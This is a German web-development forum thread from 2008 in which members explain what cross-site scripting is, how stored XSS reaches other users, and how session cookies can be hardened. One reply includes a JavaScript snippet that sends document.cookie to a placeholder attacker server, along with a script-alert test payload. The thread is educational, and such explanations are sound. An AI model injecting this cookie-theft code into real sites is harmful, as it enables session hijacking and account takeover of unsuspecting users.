Grundlegendes zu XSS

nitrit

Angesehenes Mitglied
Ich wollte das Thema XSS mal in die Runde werfen, da ja im Thema nebenan, eben das das Problem ist.
Ich frag mich immer "was genau ist XSS?".

DENN:
XSS, wenn ich den Begriff richtig verstehe kann im Prinzip nur über JavaScript geschehen.
Ich kann ja auf jeder Seite einfach, wenn ich wollte auch auf Ayom JavaScript einschleusen.
Aber: das bringt ja erstmal relativ wenig, weil es ja nur ich sehe und ausführe und das nicht permanent verändern kann.
Wo liegt also die Gefahr in XSS?

Gut, Dummen- bzw. Horrorszenario:
ich habe eine JavaScript-Funktion, die per xmlHTTPRequest (AJAX) eine PHP-Datei aufruft, welche per GET-Parameter (seite.php?parameter1=bla&parameter2=bla2, usw.) den in den Parametern stehenden Funktionscode/PHP-Code per eval() ausführt.
Nun hätte jeder gelernte/geübte Webentwickler im Hinterkopf: "Aha, das ist gefährlich, da könnte man die Funktion einfach selber ausführen da JavaScript ja vom Browser ausgeführt wird und nicht vom Server, das ist toll, da kann ich ein bisschen Spaß haben".

Gut, das war jetzt übertrieben, aber das ist ja die eigentliche Gefahr, oder nicht?

Ich mein, ich könnte mir NIE vorstellen, wie man per JavaScript-Code sgn. XSS durchführt und meine Seite hackt, da muss ich ja explizite Sicherheitslücken haben!?

Klärt mich/euch auf
wink.gif
 
QUOTE (nitrit @ Fr 18.01.2008, 20:15)Wo liegt also die Gefahr in XSS?

Die meisten Webseiten, die ein Login voraussetzen, nutzen in irgendeiner Art und Weise Sessions.

Als Sessionkennung wird entweder ein Cookie oder ein Zufallswert in der Url verwendet.

Und beide Werte lassen sich mit JavaScript auslesen und bsp. so blind verwenden (ohne daß der Nutzer etwas davon merkt oder daß eine Fehlermeldung produziert werden würde):


CODE var i = new Image();
i.src = 'http://server-vom-hacker.com/nix.txt?id=' + document.cookie


Damit wird eine Url auf einem fremden Server abgerufen - und das Session-Cookie wird übertragen. Also kann man dort den Wert auslesen, selbst auf diesen Server zugreifen - und das Sessioncookie mitschicken: Damit gibt sich der Hacker als der Anwender aus, dessen Cookie / Sitzung gestohlen wurde - und kann alles machen, was der Nutzer kann.

Das entspricht also der Situation, daß sich ein Admin anmeldet, seinen Platz verläßt und ein anderer Nutzer im Raum an diesem Computer weiterarbeitet - mit den Rechten des Admins.

Es genügt also, einen Code wie den obigen einschleusen zu können, so daß dieser Code vom Browser der Domain zugeordnet und deshalb ausgeführt wird.
 
Das beschriebene Szenario funktioniert ja aber nur, wenn ich an den PC des eingeloggten Users komme. Wie sollte ich sonst den Cookie genau von DIESEM user auslesen?
 
QUOTE (nitrit @ Fr 18.01.2008, 20:54) Das beschriebene Szenario funktioniert ja aber nur, wenn ich an den PC des eingeloggten Users komme. Wie sollte ich sonst den Cookie genau von DIESEM user auslesen?

Nein, das ist falsch.

Der Hacker kriegt das Cookie, das verwendet er. Damit ist er gleich diesem Nutzer, weil Nutzer während einer offenen Sitzung nur über ihre Cookies identifizierbar und unterscheidbar sind.

Ich schreibe hier einen Beitrag, jemand anderes stiehlt per XSS meine Sitzung. Der andere kennt nicht mein Passwort, aber er kann als ich Beiträge verfassen.

Und im Fall eines Adminaccounts heißt dies, 'aufräumen können'.
 
Das hab ich so schon verstanden, das Problem ist:

Es MUSS eine Möglichkeit geben, dieses beschriebene JavaScript PERMANENT in das HTML einzuschleusen. Besteht diese Möglichkeit nicht, kann ich ja das JavaScript nur direkt am UserPC einschleusen...
 
QUOTE (nitrit @ Fr 18.01.2008, 21:07)Es MUSS eine Möglichkeit geben, dieses beschriebene JavaScript PERMANENT in das HTML einzuschleusen. Besteht diese Möglichkeit nicht, kann ich ja das JavaScript nur direkt am UserPC einschleusen...

Das stimmt.

Bloß: Wenn man bsp. in eine Suchmaske '<script>alert("Hallo")</script>' reinkriegt und die Liste der letzten 100 Suchergebnisse angezeigt wird, dann sind alle Leute betroffen, die diese Liste aufrufen.

Oder wenn Nutzer eigene Profile erstellen können und dort JavaScript-Code einbinden: Jemand baut sich ein entsprechendes Profil auf einer großen Plattform, sorgt über irgendwelche Techniken dafür, daß viele Nutzer auf die Seite kommen - und kann dann deren Freunde auslesen.

Alle Foren / Plattformen mit Upload-Möglichkeit durch Nutzer sind potentiell von diesem Problem betroffen.
 
Das ist doch mal ein aufklärendes Thema hier
smile.gif

Ich hab mir in der letzten Stunde jede Menge Sicherheitsmethoden überlegt, mit denen man XSS soweit wie möglich einschränken kann.

Wenn man wirklich sicher sein will, sollte man das Cookie abhängig von möglichst vielen Faktoren machen. IP, nutzerhash, datenbankabgleich, zeitbeschränkt, etc.
Der Thread hat, wenn auch nicht extrem, aber wesentlich mein Sicherheitsdenken verbessert, danke dir jAuer (und ich dachte ich weiss schon genug, aber deine Ansichten sind einfach noch etwas detaillierter
wink.gif
)
 
Ja, sd12 ich weiss auch noch eine andere Möglichkeit, aber das hättest du uns jetzt nicht so posaunen müssen. Ein bisschen nachdenken reicht da schon...
Das erinnert mich ein wenig an "Ich will ja jetzt niemanden verpetzen, aber Peter wars"
biggrin.gif


Am besten sendest jetzt jedem ne PM, weil dus ja nicht im Thread schreiben willst *duck und weg*
 
QUOTE (nitrit @ Sa 19.01.2008, 00:51) Ja, sd12 ich weiss auch noch eine andere Möglichkeit, aber das hättest du uns jetzt nicht so posaunen müssen. Ein bisschen nachdenken reicht da schon...
Das erinnert mich ein wenig an "Ich will ja jetzt niemanden verpetzen, aber Peter wars"
biggrin.gif


Am besten sendest jetzt jedem ne PM, weil dus ja nicht im Thread schreiben willst *duck und weg*

Ich nehme zur Kenntnis, dass Dich meine Äusserungen nicht interessieren und habe an der Stelle mein Post gelöscht. Klinke mich hier aus.

Im ersten Post hast Du noch geschrieben als ob Du keine Ahnung hättest.

3,5 Stunden später Brüstest Du Dich hier. Wird das ne Profilierungsaktion von Dir?
 
Nein nein, wir dürfen das nun auf keinen Fall in den falschen Hals kriegen. Ich hab und hatte sehr wohl Ahnung von solchen Aktivitäten, mein erster Post ganz oben hätte sonst sicherlich ahnungsloser ausgesehen.
Die Sache ist nur, dass ich mir noch nie die Möglichkeiten, wie ich sie bei jAuer gezeigt bekommen habe so betrachtet habe und das fand ich gut
smile.gif

Dass es da natürlich noch "komplexere" Möglichkeiten gibt so etwas zu tun ist mir natürlich klar, aber wie du sd12 wollte ich ebenso das nicht offen posten und das muss auch niemand wissen, der es nicht schon weiss.
Wer es wirklich will kann ja an dich trotzdem ne PM schreiben
wink.gif
-- (du hättest deswegen ja jetzt nicht deinen Post löschen müssen
smile.gif
)
 
Zurück
Oben